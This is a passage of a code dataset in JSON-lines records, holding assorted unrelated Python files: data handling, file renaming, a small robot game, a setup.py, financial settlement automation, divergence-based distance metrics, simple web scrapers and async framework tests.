# Add missing columns\n for i in range(len(self.colList[:self.info_col_num])):\n if self.colList[i] in colList2:\n pass\n else:\n g_dataframe.insert(i, self.colList[i], [0 for m in range(len(g_dataframe))])\n\n return g_dataframe\n\n def getWeights(self):\n \"\"\"\n Returns a tensor of weights containing the relation between the amount of data of each class\n \"\"\"\n\n self.gammaAmount = (self.c_dataframe[\"particleID\"] == 1).sum()\n self.protonAmount = (self.c_dataframe[\"particleID\"] == 0).sum()\n # print(\"ACC:G \", self.gammaAmount)\n # print(\"ACC:P \", self.protonAmount)\n if self.gammaAmount <= 0 or self.protonAmount <= 0:\n print(\"Warning: No data in one of the datasets, returning weights of 1.\")\n return torch.tensor([1.0, 1.0])\n if self.gammaAmount > self.protonAmount:\n wlist = torch.tensor([self.gammaAmount / self.protonAmount, 1])\n else:\n wlist = torch.tensor([1, self.protonAmount / self.gammaAmount])\n print(\"Weights: \", wlist)\n\n return wlist\n\n","sub_path":"Data_Transformation/DataHandler-Copy1.py","file_name":"DataHandler-Copy1.py","file_ext":"py","file_size_in_byte":21636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"566727132","text":"import os\r\nimport re\r\n\r\nprint('Начальный номер')\r\nSTART = int(input())\r\nPATH = r'C:\\Users\\Алиса\\Desktop\\Склейка видео\\04_20_54 29-04-2018'\r\nPATH_RMN = r'C:\\Users\\Алиса\\Desktop\\Склейка видео\\RNM_photo'\r\nSHABLON = r'(photo\\.)(\\d\\d\\d)(\\.jpg)'\r\n# список файлов в исходной папке\r\nLIST_FILE = os.listdir(PATH)\r\n\r\nfor i in LIST_FILE:\r\n result = re.findall(SHABLON, i)\r\n n = int(result[0][1]) + START\r\n NEW_NAME = result[0][0] + str(n) + result[0][2]\r\n #print(NEW_NAME)\r\n #print(i)\r\n with open(PATH + '\\\\' + i, 'rb') as f_1:\r\n h_1 = f_1.read()\r\n\r\n with open(PATH_RMN + '\\\\' + NEW_NAME, 'wb') as f_2:\r\n f_2.write(h_1)\r\n","sub_path":"rename_photo_2.py","file_name":"rename_photo_2.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"138423339","text":"from miniworldmaker import *\n\n\nclass MyBoard(TiledBoard):\n\n def __init__(self):\n super().__init__(tile_size=30,\n columns=20,\n rows=20,\n tile_margin=0)\n robo1 = self.add_to_board(Robot(), position=(1, 1))\n # Draw border\n for i in range(self.rows):\n self.add_to_board(Wall(), position=(0, i))\n for i in range(self.rows):\n self.add_to_board(Wall(), position=(self.rows - 1, i))\n for i in range(self.columns):\n self.add_to_board(Wall(), position=(i, 0))\n for i in range(self.columns - 1):\n self.add_to_board(Wall(), position=(i, self.columns - 1))\n self.add_image(path=\"images/stone.jpg\")\n\n\nclass Robot(Actor):\n\n def __init__(self):\n super().__init__()\n self.add_image(path=\"images/robo_green.png\")\n\n def act(self):\n actors = self.sensing_tokens(token=Wall)\n if not actors:\n self.move()\n else:\n self.turn_right(90)\n\n\nclass Wall(Token):\n\n def __init__(self):\n super().__init__()\n self.add_image(\"images/rock.png\")\n\n\nboard = MyBoard()\nboard.show()\n","sub_path":"examples/robot/the_robot.py","file_name":"the_robot.py","file_ext":"py","file_size_in_byte":1197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"253231920","text":"#! python3\n\nimport math\n\n\n# This function uses a for loop to calculate the factorial\ndef fact1(n):\n fact = 1\n for x in range(1, n+1): # use 1, n+1 to exclude 0 and to include n\n fact = x * fact\n\n return fact # Return the value\n\n\n# This function uses math.factorial to calculate the factorial\ndef fact2(n):\n fact = math.factorial(n)\n\n return fact\n\n\n# Run until the value of n is less than 20\nwhile True:\n n = int(input('Input an integer (not too big) greater than 1: '))\n\n if n < 20:\n # Set the values of forFact and funFact to the results of the functions\n forFact = fact1(n)\n funFact = fact2(n)\n print('Looping gives a value of ' + str(forFact))\n print('The factorial function returns a value of ' + str(funFact))\n break\n elif n < 100:\n print('Lets not break the processor, try again')\n continue\n else:\n print('Seriously, this number is too big! Exiting now')\n exit()\n\n\n# Check inline if the values are the same and print the result\nprint('Do the two methods result in the same value? ' + str(forFact == funFact))\n","sub_path":"1-25-2019/factorial.py","file_name":"factorial.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"190148545","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"Setup.py for the project.\"\"\"\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom __future__ import absolute_import\nfrom __future__ import division\n\nimport os.path\nimport setuptools\nimport setuptools.command.test\n\n\n# Helper functions {{{\ndef read_metadata(main_pkg=None, root_directory=None, filename='__init__.py'):\n \"\"\"\n Read metadata in the main package's __init__.py or other specified file.\n\n The data is expected to be in the format::\n\n __key__ = 'value'\n \"\"\"\n import io\n import re\n dunder_re = re.compile(r\"^__(.*?)__ = '([^']*)'\")\n\n if not root_directory:\n root_directory = os.path.abspath(os.path.dirname(os.path.curdir))\n\n filepath = os.path.join(root_directory, main_pkg, filename)\n\n metadata = {}\n with io.open(filepath) as module_file:\n for line in module_file.readlines():\n if dunder_re.match(line):\n key, val = dunder_re.search(line).groups()\n metadata[key] = val\n return metadata\n\n\ndef read_files(*filenames, **kwargs):\n \"\"\"Read multiple files and returns their contents in a single string.\"\"\"\n # adapted from Jeff Knupp's article on open sourcing a project [1]\n import io\n\n encoding = kwargs.get('encoding', 'utf-8')\n sep = kwargs.get('sep', '\\n')\n buf = []\n for file_path in filenames:\n with io.open(file_path, encoding=encoding) as a_file:\n buf.append(a_file.read())\n return sep.join(buf)\n\n\ndef read_requirements(req_filename):\n \"\"\"\n Read the requirements file in a format that pip accepts.\n\n This means that it skips lines that start with # and empty lines.\n \"\"\"\n import io\n import re\n\n url_egg_re = re.compile(r'^(.*?)#egg=(.*?)$')\n\n requires = []\n with io.open(req_filename) as req_file:\n for line in req_file.readlines():\n if line == '':\n continue\n if line.startswith('#'):\n continue\n\n if '://' not in line:\n requires.append(line.strip())\n else:\n egg = url_egg_re.search(line).groups()[-1]\n requires.append(egg)\n\n return requires\n\n\ndef do_nothing():\n \"\"\"do nothing, just like this comment.\"\"\"\n pass\n\n\nclass Failed(setuptools.Command): # pylint: disable=too-few-public-methods\n \"\"\"\n A failed command that just raises a RuntimeError.\n\n Used for imports that break setup.py for extra commands\n e.g. 'docs', 'doctest', 'lint'\n \"\"\"\n\n user_options = []\n finalize_options = do_nothing\n\n def initialize_options(self):\n \"\"\"Basically, raise an error when it's called before doing anything.\"\"\"\n raise RuntimeError(self.description) # pylint: disable=no-member\n\n def __init__(self, *args, **kwargs):\n \"\"\"Create this 'Failed' command.\"\"\"\n setuptools.Command.__init__(self, *args, **kwargs)\n\n\ndef failed_with_message(message=\"Error!\"):\n \"\"\"Return a 'Failed' command with a specific message.\"\"\"\n return type(\n str(\"FailedCommand\"),\n (Failed, object,),\n {\n 'description': message,\n }\n )\n# }}}\n\nCURDIR = os.path.abspath(os.path.dirname(__file__))\nPROJNAME = 'nodder'\nPKG_NAME = PROJNAME\nMETADATA = read_metadata(main_pkg=PKG_NAME, root_directory=CURDIR)\n\nPKG_DATA = {}\nPKG_DATA[str(PKG_NAME)] = [\n 'test/*'\n]\n\nVERSIONSTR = METADATA['versionstr'].replace('-', '')\n# Normalize the version string for the python package metadata\nVERSIONSTR = VERSIONSTR.replace('-', '')\n\nSHORTDOC = METADATA['shortdoc']\nURL = METADATA['url']\nLICENSE = METADATA['license']\nAUTHOR = METADATA['author']\nAUTHOR_EMAIL = METADATA['email']\nREADME = read_files(os.path.join(CURDIR, 'README.rst'))\nREQUIREMENTS = read_requirements(os.path.join(CURDIR, 'requirements.txt'))\n\nEGGSECUTABLE = ('nodder.__main__', 'egg_exe')\nSCRIPTS = None\nCONSOLE_SCRIPTS = {\n 'nodder': ('nodder.__main__', 'main_exe'),\n}\nKEYWORDS = ['yaml', 'json', 'validator']\nCLASSIFIERS = [\n 'Programming Language :: Python',\n 'Natural Language :: English',\n 'Development Status :: 1 - Planning',\n # 'Development Status :: 2 - Pre-Alpha',\n # 'Development Status :: 3 - Alpha',\n # 'Development Status :: 4 - Beta',\n # 'Development Status :: 5 - Production/Stable',\n # 'Development Status :: 6 - Mature',\n # 'Development Status :: 7 - Inactive',\n 'Environment :: Console',\n 'License :: OSI Approved :: BSD License',\n 'Intended Audience :: Developers',\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: Implementation :: CPython',\n 'Programming Language :: Python :: Implementation :: PyPy',\n]\n\nif __name__ == '__main__':\n PACKAGES = setuptools.find_packages(where=CURDIR)\n\n ENTRY_POINTS = {}\n if EGGSECUTABLE:\n ENTRY_POINTS['setuptools.installation'] = {\n 'eggsecutable = {0}:{1}'.format(*EGGSECUTABLE)\n }\n\n SCRIPT_LINES = []\n if CONSOLE_SCRIPTS:\n for script_name, script_path in CONSOLE_SCRIPTS.items():\n SCRIPT_LINES.append(\n '{0} = {1}:{2}'.format(script_name, *script_path)\n )\n ENTRY_POINTS['console_scripts'] = SCRIPT_LINES\n\n setuptools.setup(\n # Package information\n name=PKG_NAME,\n version=VERSIONSTR,\n description=SHORTDOC,\n long_description=README,\n url=URL,\n license=LICENSE,\n author=AUTHOR,\n author_email=AUTHOR_EMAIL,\n maintainer=AUTHOR,\n maintainer_email=AUTHOR_EMAIL,\n\n # Package Properties\n packages=PACKAGES,\n entry_points=ENTRY_POINTS,\n scripts=SCRIPTS,\n package_data=PKG_DATA,\n\n # Requirements\n setup_requires=[],\n install_requires=REQUIREMENTS,\n extras_require={\n 'testing': ['virtualenv'],\n 'docs': ['sphinx'],\n 'lint': ['pylint'],\n },\n tests_require=['tox'],\n\n # Other Stuff\n cmdclass={},\n platforms=['any'],\n classifiers=CLASSIFIERS,\n zip_safe=True,\n keywords=KEYWORDS,\n )\n\n# [1]: http://bit.ly/1557Nmx\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":6330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"299499186","text":"\"\"\"--------------------------------------------------------------------------------------------------------------------------------------\nMODULE\n NonZARMaturityAutoReleaseTasK\n\nDESCRIPTION\n Auto-Releasing Non Zar Maturity Settlements For Deposits and FRN trade. Task to run at 2pm Business Days.\n Auto-Releasing Zar Maturities for Deposits at 10am Business days\n\n-----------------------------------------------------------------------------------------------------------------------------------------\nHISTORY\n=========================================================================================================================================\nDate Change no Developer Requester Description\n-----------------------------------------------------------------------------------------------------------------------------------------\n2019-06-19 FAOPS-393 Tawanda Mukhalela Wandile Sithole Non-Zar Deposits and FRN Autorelease on Matched MT320\n2019-11-25 FAOPS-635 Tawanda Mukhalela Wandile Sithole Zar Deposits Autorelease on Matched Maturity Notice\n-----------------------------------------------------------------------------------------------------------------------------------------\n\"\"\"\n\nimport acm\n\nfrom at_logging import getLogger\nfrom MatchedNonZarMT320ConfirmationSTPHook import MatchedNonZarMT320ConfirmationSTPHook\nfrom PICandOasisOutgoingMaturitiesSTPHook import PICandOasisOutgoingMaturitiesSTPHook\n\n\nLOGGER = getLogger(__name__)\n\n\ndef ael_main(ael_parameters):\n LOGGER.info('Non Zar and Zar Maturities Settlement Auto-Release task Started ..')\n non_zar_hook = MatchedNonZarMT320ConfirmationSTPHook()\n zar_hook = PICandOasisOutgoingMaturitiesSTPHook()\n non_zar_query_folder = acm.FStoredASQLQuery['NonZar_Maturities_Deposit_FRN_Trades']\n zar_query_folder = acm.FStoredASQLQuery['Zar_Maturities_Deposit_Oasis_PIC']\n non_zar_trades_to_process = non_zar_query_folder.Query().Select()\n zar_trades_to_process = zar_query_folder.Query().Select()\n auto_release_maturity_settlement(non_zar_trades_to_process, non_zar_hook)\n auto_release_maturity_settlement(zar_trades_to_process, zar_hook)\n\n\ndef auto_release_maturity_settlement(trades, stp_hook):\n for trade in trades:\n for confirmation in trade.Confirmations():\n try:\n if not stp_hook.is_valid_confirmation(confirmation):\n continue\n stp_hook.PerformSTP(confirmation)\n break\n except Exception as ex:\n message = \"An exception occurred processing trade '{trade_oid}', \"\n message += \"skipping...\"\n LOGGER.warning(message.format(trade_oid=trade.Oid()), exc_info=True)\n","sub_path":"Extensions/ABSA Operations STP/FPythonCode/NonZARMaturityAutoReleaseTask.py","file_name":"NonZARMaturityAutoReleaseTask.py","file_ext":"py","file_size_in_byte":2791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"464683624","text":"import numpy as np\nfrom common_var import CommonVar\nimport rpy2.robjects as robjects\nimport math\n\n\nclass Mydistance(object):\n\n # 从R中导入lp.transport()\n robjects.r['library']('lpSolve')\n transport = robjects.r['lp.transport']\n\n user_cmddict_list = {'id': 'user cmd fre list'} # 临时存放每个用户的操作频率\n cmd_dict = {'op': 1} # 储存所有用户的操作频率\n len_behavior_list =[] # 按长度对行为序列分别储存，list of list\n\n def __init__(self):\n self.distance = 0\n self.cmd_dict = CommonVar.opDict\n self.behavior_list = CommonVar.seqList\n self.len_behavior_list = CommonVar.lenSeqList\n\n # 计算操作之间的点距离，该操作在所有用户行为中出现的频率差\n def cal_point_distance(self, cmd_a, cmd_b):\n frea = self.cmd_dict[cmd_a]\n freb = self.cmd_dict[cmd_b]\n #print(frea, freb)\n return abs(frea - freb)\n\n # 计算横向距离，采用分布之间的距离计算公式\n # 同一长度，计算不同位置的命令频率出现然后排序，计算分布之间的距离然后相加\n def cal_horizontal_distance1(self, a, b, pos, length):\n dis = 0\n # print(len(self.len_behavior_list))\n # print(len(self.behavior_list))\n for i in range(0, length):\n if i != pos:\n dict_a = {'op': 1}\n dict_b = {'op': 1}\n dict_a.clear()\n dict_b.clear()\n for behav_a in self.len_behavior_list[length]:\n if behav_a.get_cmd(pos) == a.get_cmd(pos):\n if behav_a.get_cmd(i) in dict_a:\n dict_a[behav_a.get_cmd(i)] += 1\n else:\n dict_a[behav_a.get_cmd(i)] = 1\n for behav_b in self.len_behavior_list[length]:\n if behav_b.get_cmd(pos) == b.get_cmd(pos):\n if behav_b.get_cmd(i) in dict_b:\n dict_b[behav_b.get_cmd(i)] += 1\n else:\n dict_b[behav_b.get_cmd(i)] = 1\n # print(dict_a)\n # print(dict_b)\n p_a = sorted(dict_a.values(), reverse=True)\n p_b = sorted(dict_b.values(), reverse=True)\n # print(p_a)\n # print(p_b)\n if CommonVar.test_divergence_method == 0:\n dis += self.cal_KL_divergence(p_a, p_b)\n elif CommonVar.test_divergence_method == 1:\n dis += self.cal_AKL_divergence(p_a, p_b)\n elif CommonVar.test_divergence_method == 2:\n dis += self.cal_JS_divergence(p_a, p_b)\n else:\n dis += self.cal_WA_divergence(dict_a, dict_b)\n return dis\n\n # 对横向距离进行重新定义，考虑每个操作的前向和后向的命令分布距离之和\n # 不再考虑具体的位置\n # 考虑进行加权求和，隔得远的相对而言权重低一些\n def cal_horizontal_distance2(self, a, b, pos, length):\n dis = 0\n # print(len(self.len_behavior_list))\n # print(len(self.behavior_list))\n pre_dict_a = {'op': 1}\n pre_dict_b = {'op': 1}\n pre_dict_a.clear()\n pre_dict_b.clear()\n con_dict_a = {'op': 1}\n con_dict_b = {'op': 1}\n con_dict_a.clear()\n con_dict_b.clear()\n for behav in self.len_behavior_list[length]:\n if behav.get_cmd(pos) == a.get_cmd(pos):\n for i in range(0, pos):\n if behav.get_cmd(i) in pre_dict_a:\n pre_dict_a[behav.get_cmd(i)] += 1\n else:\n pre_dict_a[behav.get_cmd(i)] = 1\n for i in range(pos+1, length):\n if behav.get_cmd(i) in con_dict_a:\n con_dict_a[behav.get_cmd(i)] += 1\n else:\n con_dict_a[behav.get_cmd(i)] = 1\n if behav.get_cmd(pos) == b.get_cmd(pos):\n for i in range(0, pos):\n if behav.get_cmd(i) in pre_dict_b:\n pre_dict_b[behav.get_cmd(i)] += 1\n else:\n pre_dict_b[behav.get_cmd(i)] = 1\n for i in range(pos + 1, length):\n if behav.get_cmd(i) in con_dict_b:\n con_dict_b[behav.get_cmd(i)] += 1\n else:\n con_dict_b[behav.get_cmd(i)] = 1\n # print(dict_a)\n # print(dict_b)\n pre_p_a = sorted(pre_dict_a.values(), reverse=True)\n pre_p_b = sorted(pre_dict_b.values(), reverse=True)\n con_p_a = sorted(con_dict_a.values(), reverse=True)\n con_p_b = sorted(con_dict_b.values(), reverse=True)\n # print(p_a)\n # print(p_b)\n dis = self.cal_JS_divergence(pre_p_a, pre_p_b) + self.cal_JS_divergence(con_p_a, con_p_b)\n return dis\n\n # 输入代表从高到低的出现次数，求分布之间的KL散度表示距离\n def cal_KL_divergence(self, pa, pb):\n length = max(len(pa), len(pb))\n if length == 0:\n return 0\n for i in range(len(pa), length):\n pa.append(0)\n for i in range(len(pb), length):\n pb.append(0)\n pa = np.array(pa)\n pb = np.array(pb)\n #print(pa)\n #print(pb)\n if pa.sum() != 0:\n pa = pa / pa.sum() + CommonVar.eps\n else:\n pa = np.ones(len(pa)) * CommonVar.eps\n if pb.sum() != 0:\n pb = pb / pb.sum() + CommonVar.eps\n else:\n pb = np.ones(len(pb)) * CommonVar.eps\n #print(pa)\n #print(pb)\n return (pa * np.log(pa / pb)).sum()\n\n # 对称KL散度\n def cal_AKL_divergence(self, pa, pb):\n length = max(len(pa), len(pb))\n if length == 0:\n return 0\n for i in range(len(pa), length):\n pa.append(0)\n for i in range(len(pb), length):\n pb.append(0)\n pa = np.array(pa)\n pb = np.array(pb)\n #print(pa)\n #print(pb)\n if pa.sum() != 0:\n pa = pa / pa.sum() + CommonVar.eps\n else:\n pa = np.ones(len(pa)) * CommonVar.eps\n if pb.sum() != 0:\n pb = pb / pb.sum() + CommonVar.eps\n else:\n pb = np.ones(len(pb)) * CommonVar.eps\n #print(pa)\n #print(pb)\n return (pa * np.log(pa / pb) + pb * np.log(pb / pa)).sum() / 2\n\n # 计算JS散度\n def cal_JS_divergence(self, pa, pb):\n length = max(len(pa), len(pb))\n if length == 0:\n return 0\n for i in range(len(pa), length):\n pa.append(0)\n for i in range(len(pb), length):\n pb.append(0)\n pa = np.array(pa)\n pb = np.array(pb)\n #print(pa)\n #print(pb)\n if pa.sum() != 0:\n pa = pa / pa.sum() + CommonVar.eps\n else:\n pa = np.ones(len(pa)) * CommonVar.eps\n if pb.sum() != 0:\n pb = pb / pb.sum() + CommonVar.eps\n else:\n pb = np.ones(len(pb)) * CommonVar.eps\n #print(pa)\n #print(pb)\n return (pa * np.log(2 * pa / (pa + pb)) + pb * np.log(2 * pb / (pa + pb))).sum() / 2\n\n # 计算Wasserstein散度\n def cal_WA_divergence(self, dict_a, dict_b):\n dis = 0\n length = max(len(dict_a), len(dict_b))\n if length == 0:\n return 0\n wa = np.array(list(dict_a.values()))\n wb = np.array(list(dict_b.values()))\n if wa.sum() == 0:\n wa = np.ones(length)\n if wb.sum() == 0:\n wb = np.ones(length)\n na = len(dict_a)\n nb = len(dict_b)\n # print(wa.sum())\n # 将权重补成和相等的向量\n if wa.sum() > wb.sum():\n wb = np.floor(wb * wa.sum() / wb.sum())\n for i in range(0, int(wa.sum()-wb.sum())):\n wb[i] += 1\n else:\n wa = np.floor(wa * wb.sum() / wa.sum())\n for i in range(0, int(wb.sum() - wa.sum())):\n wa[i] += 1\n\n # print(wa)\n # print(wb)\n # 创建一个距离矩阵\n dist = np.zeros(na * nb)\n for i in range(na):\n for j in range(nb):\n dist[i * nb + j] = abs(self.cmd_dict[list(dict_a.keys())[i]] - \\\n self.cmd_dict[list(dict_b.keys())[j]])\n # print(dist)\n dis = self.emd(dist, wa, wb)\n return dis\n\n # 调用R计算EMD\n def emd(self, dist, w1, w2):\n \"\"\"R的transport()函数用来计算EMD\"\"\"\n # transport()的参数\n costs = robjects.r['matrix'](robjects.FloatVector(dist),\n nrow=len(w1), ncol=len(w2),\n byrow=True)\n row_signs = [\"<\"] * len(w1)\n row_rhs = robjects.FloatVector(w1)\n col_signs = [\">\"] * len(w2)\n col_rhs = robjects.FloatVector(w2)\n\n t = self.transport(costs, \"min\", row_signs, row_rhs, col_signs, col_rhs)\n flow = t.rx2('solution')\n\n dist = dist.reshape(len(w1), len(w2))\n flow = np.array(flow)\n work = np.sum(flow * dist)\n emd = work / np.sum(flow)\n return emd\n\n\n # 计算相同长度序列的距离\n def cal_distance(self, a, b):\n dis = 0\n lena = a.get_length()\n lenb = b.get_length()\n if lena != lenb:\n raise Exception('长度不相等，错误函数接口使用')\n for i in range(0, lena):\n if CommonVar.test_dist_method == 0:\n dis += self.cal_point_distance(a.get_cmd(i), b.get_cmd(i))\n elif CommonVar.test_dist_method == 1:\n dis += self.cal_horizontal_distance1(a, b, i, lena)\n else:\n dis += self.cal_point_distance(a.get_cmd(i), b.get_cmd(i)) * \\\n self.cal_point_distance(a.get_cmd(i), b.get_cmd(i))\n return dis\n\n# 计算不同长度的序列距离\n def cal_distance_dl(self, a, b):\n lena = a.get_length()\n lenb = b.get_length()\n dis = 0\n if lena == lenb:\n return self.cal_distance(a, b)\n elif lena > lenb:\n for i in range(0, lena - lenb):\n dis = max(dis, self.cal_distance(a.get_sub_behavior(i, lenb), b))\n elif lenb > lena:\n for i in range(0, lenb - lena):\n dis = max(dis, self.cal_distance(a, b.get_sub_behavior(i, lena)))\n return dis\n\n","sub_path":"PURDUEpre/myDistance.py","file_name":"myDistance.py","file_ext":"py","file_size_in_byte":10595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"119752847","text":"\nimport re\nimport csv\nimport time\nfrom pathlib import Path\n\n# import details as details\nfrom selenium import webdriver\nimport bs4 as bs4\nimport os\nimport copy\nimport time\noption = webdriver.ChromeOptions()\noption.add_argument(\" - incognito\")\noption.add_argument(\"headless\")\nexec_path = '/Users/Downloads/MUR_scraping-master/Libraries/chromedriver'\nbrowser = webdriver.Chrome( options=option)\nbrowser.get(url=\"https://www.flipkart.com/search?q=sofa\")\n\npage = browser.page_source\n\nsoup = bs4.BeautifulSoup(page, 'lxml')\n\ndesc_div = soup.find('div', class_='t-content t-state-active')\ndesc_list = []\n\nif desc_div:\n desc_p_list = desc_div.find_all(class_='display-row')\n if desc_p_list:\n for p in desc_p_list:\n desc_list.append(p.get_text(strip=True, separator=' '))\n # desc_list = ' '.join(desc_list)\n# print(desc_list)\n\ntable = soup.find('table')\ntable_rows = table.find_all('tr')\nfor tr in table_rows:\n td = tr.find_all('td')\n row = [i.text for i in td]\n print(row)\n","sub_path":"scrapy_projt/soup_scrapy/b_soup_selenium.py","file_name":"b_soup_selenium.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"453486045","text":"#!/usr/bin/python\n\nimport re\nfrom dateutil import parser\nimport urllib\n\nTIMEOUT = 5\n\nid_pattern = re.compile('http://download.cnet.com/[^/]+/\\d+-\\d+_\\d+-(\\d+).html')\nurl_pattern = re.compile('^http://download.cnet.com/')\n\nENTRY_POINTS = [\n 'http://download.cnet.com/',\n 'http://download.cnet.com/windows/',\n 'http://download.cnet.com/mac/',\n 'http://download.cnet.com/ios/',\n 'http://download.cnet.com/android/',\n]\n\ndef normalize_url(url):\n link = re.sub('#.*', '', url)\n link = re.sub('.html?.*', '.html', url)\n return link.encode('utf-8')\n\nmeta_pattern = {\n 'name': re.compile('productName=\"(.*?)\"'),\n 'developer_id': re.compile('
'),\n 'category': re.compile('[^<]+
  • Date added:([^<]*?)
    • '),\n 'size': re.compile('File size:([^<]*?)', re.DOTALL),\n 'version': re.compile('Version:([^<]*?)', re.DOTALL),\n 'os': re.compile('Operating system:

    ([^<]*?)

    ', re.DOTALL),\n 'price': re.compile('Price:([^<]*?)'),\n 'description': re.compile('
    .*?)
    ', re.DOTALL),\n}\n\nplatform_pattern = {\n 'windows': re.compile('windows', re.IGNORECASE),\n 'osx': re.compile('mac os|os x', re.IGNORECASE),\n 'android': re.compile('android', re.IGNORECASE),\n 'ios': re.compile('iphone|ios|i\\s+9', re.IGNORECASE),\n}\n\ndef extract_meta(html):\n meta = {}\n\n for key in meta_pattern.keys():\n pattern = meta_pattern[key]\n match = pattern.search(html)\n if match:\n meta[key] = match.group(1).strip()\n else:\n meta[key] = ''\n\n meta['languages'] = ''\n meta['cover_image'] = ''\n meta['app_rating_count'] = 0\n meta['app_rating_score'] = 0.0\n meta['content_rating'] = ''\n try:\n meta['date_updated'] = parser.parse(meta['date_updated']).strftime('%Y-%m-%d')\n except ValueError:\n meta['date_updated'] = '1970-01-01'\n match = re.search('(\\d[\\d|\\.|,]+)', meta['price'])\n if match:\n meta['price'] = match.group(1)\n meta['price'] = re.sub('[^\\d|^\\.]', '', meta['price'])\n else:\n meta['price'] = 0.0\n meta['platform'] = 'unknown'\n for key in platform_pattern.keys():\n pattern = platform_pattern[key]\n match = pattern.search(meta['os'])\n if match:\n meta['platform'] = key\n break\n meta['os'] = re.sub('\\s+', ' ', meta['os'])\n meta['category'] = re.sub('/[^/]+.html', '/', meta['category'])\n return meta\n","sub_path":"cnet.py","file_name":"cnet.py","file_ext":"py","file_size_in_byte":2727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"561650695","text":"class Command:\n\n def __init__(self, name, description, target, arguments, requirements):\n self.name = name\n self.description = description\n self.target = target\n self.arguments = arguments\n self.requiredArguments = [arg for arg in arguments if not arg.optional]\n self.optionalArguments = [arg for arg in arguments if arg.optional]\n self.requirements = requirements\n\n def getHelp(self):\n helpstr = self.name\n for argument in self.arguments:\n helpstr += (\" \" + argument.leftBorder + argument.name +\n argument.rightBorder)\n\n helpstr += \": \" + self.description + \"\\n\"\n\n for argument in self.arguments:\n helpstr += \"\\t\" + argument.getHelp() + \"\\n\"\n\n return helpstr\n\n def isUsable(self):\n for requirement in self.requirements:\n if not requirement():\n return False\n return True\n\n def execute(self, *args):\n self.target(*args)\n","sub_path":"pymacco/client/command/command.py","file_name":"command.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"443854002","text":"# -*- coding:utf-8 -*-\n\n''' =====================================================================\n文件操作\n'''\ndef getsuffix(filename):\n '''获取文件后缀'''\n from pathlib import Path\n return Path(filename).suffix\n\ndef bind_py_qt_property(pyobj, qtobj, qt_signal, qt_property, pyvar):\n ''''''\n qttype_property = {\n 'QPlainTextEdit':'textChanged'\n }\n\n getattr(qtobj, qt_signal).connect(lambda :setattr(pyobj, pyvar, getattr(qtobj, f'to{qt_property}')()))\n property_name = pyvar[1:]\n #setattr(pyobj, property_name, property(lambda pyobj:pyvar, lambda value:getattr(qtobj, f\"set{qt_property}\")(value)))\n print(property_name)\n setattr(pyobj, f'set_{property_name}', lambda value:getattr(qtobj, f\"set{qt_property}\")(value))","sub_path":"Unity/tools/common/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"100495900","text":"import pytest\n\nfrom aioworkers.core.config import MergeDict\nfrom aioworkers.core.context import Octopus, Context, GroupResolver, Signal\n\n\ndef test_octopus():\n f = Octopus()\n f.r = 1\n assert f['r'] == 1\n f['g'] = 2\n assert f.g == 2\n f['y.t'] = 3\n assert f.y.t == 3\n f['d.w.f'] = 4\n assert dir(f)\n assert repr(f)\n assert f.__repr__(header=True)\n assert f.items()\n\n f[None] = True\n assert not f[None]\n\n\nasync def test_context_items(loop):\n f = Context({}, loop=loop)\n f.r = 1\n assert f['r'] == 1\n f['g'] = 2\n assert f.g == 2\n f['y.t'] = 3\n assert f.y.t == 3\n f['d.w.f'] = 4\n assert dir(f)\n assert repr(f)\n await f.stop()\n\n\nasync def test_context_create(loop):\n c = Context(MergeDict({\n 'q.cls': 'aioworkers.queue.timeout.TimestampQueue',\n 'f.e': 1,\n 'app.cls': 'aioworkers.app.Application',\n }), loop=loop)\n await c.init()\n await c.start()\n assert c.f.e == 1\n with pytest.raises(AttributeError):\n c.r\n with pytest.raises(KeyError):\n c['r']\n\n async def handler(app):\n pass\n c.on_stop.append(handler)\n\n async def handler(context):\n pass\n c.on_stop.append(handler)\n\n async def handler():\n raise ValueError\n c.on_stop.append(handler)\n c.on_stop.append(handler())\n\n c.on_stop.append(1)\n\n await c.stop()\n\n\ndef test_group_resolver():\n gr = GroupResolver()\n assert not gr.match(['1'])\n assert gr.match(None)\n\n gr = GroupResolver(all_groups=True)\n assert gr.match(['1'])\n assert gr.match(None)\n\n gr = GroupResolver(default=False)\n assert not gr.match(['1'])\n assert not gr.match(None)\n\n gr = GroupResolver(exclude=['1'])\n assert not gr.match(['1'])\n assert gr.match(None)\n\n gr = GroupResolver(include=['1'])\n assert gr.match(['1'])\n assert gr.match(None)\n\n\nasync def test_signal(loop):\n gr = GroupResolver()\n context = Context({}, loop=loop, group_resolver=gr)\n s = Signal(context)\n s.append(1, ('1',))\n s.append(1)\n await s.send(gr)\n await s.send(GroupResolver(all_groups=True))\n","sub_path":"tests/test_context.py","file_name":"test_context.py","file_ext":"py","file_size_in_byte":2113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"530585151","text":"##############################################################################\n#\n# OSIS stands for Open Student Information System. It's an application\n# designed to manage the core business of higher education 